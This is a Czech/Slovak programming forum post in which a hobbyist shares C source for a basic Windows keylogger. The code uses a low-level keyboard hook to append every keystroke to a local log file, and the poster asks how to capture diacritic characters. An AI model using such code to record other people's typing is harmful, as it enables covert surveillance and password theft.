Jednoduchy zaznamenávač stlačených klávesv v C Vyřešeno

Místo pro dotazy a rady ohledně programovacích jazyků (C++, C#, PHP, ASP, Javascript, VBS..) a tvorby webových stránek

Moderátor: Mods_senior

Uživatelský avatar
junior333svk
Level 2.5
Level 2.5
Příspěvky: 286
Registrován: listopad 11
Pohlaví: Muž

Jednoduchy zaznamenávač stlačených klávesv v C  Vyřešeno

Příspěvekod junior333svk » 08 čer 2019 20:55

Ahojte v rámci voľného času si robím zaznamenávač stlačených kláves.
Len neviem ako mám spraviť aby zaznamenával aj slovenske prípadne české znaky napríklad ked stlačím "č" tak mi napíše 4 (lebo sú na rovnakej klávese)
môj kód

Kód: Vybrat vše

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
   if (nCode >= 0)
   {
      if (wParam == WM_KEYDOWN)
      {
         kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
         if (kbdStruct.vkCode != 0);
         {
            switch (kbdStruct.vkCode)
            {
            case VK_ESCAPE:
               fprintf(LOG, "[ESC]");
               break;
            default:
               fprintf(LOG, "%c", kbdStruct.vkCode);
               break;
            }
            fflush(LOG);
         }
      }
   }
   return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
   _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
   
   LOG = fopen("log.txt", "a+" );
   SetHook();
   MSG msg;
   while (GetMessage(&msg, NULL, 0, 0))
   {
   }
   fclose(LOG);
}


Za každú radu budem vďačný.


Ak ľudstvo neskoncuje s vojnou, vojna skoncuje s ľudstvom.

J.F.Kennedy

Reklama

Zpět na “Programování a tvorba webu”

Kdo je online

Uživatelé prohlížející si toto fórum: CommonCrawl [Bot] a 18 hostů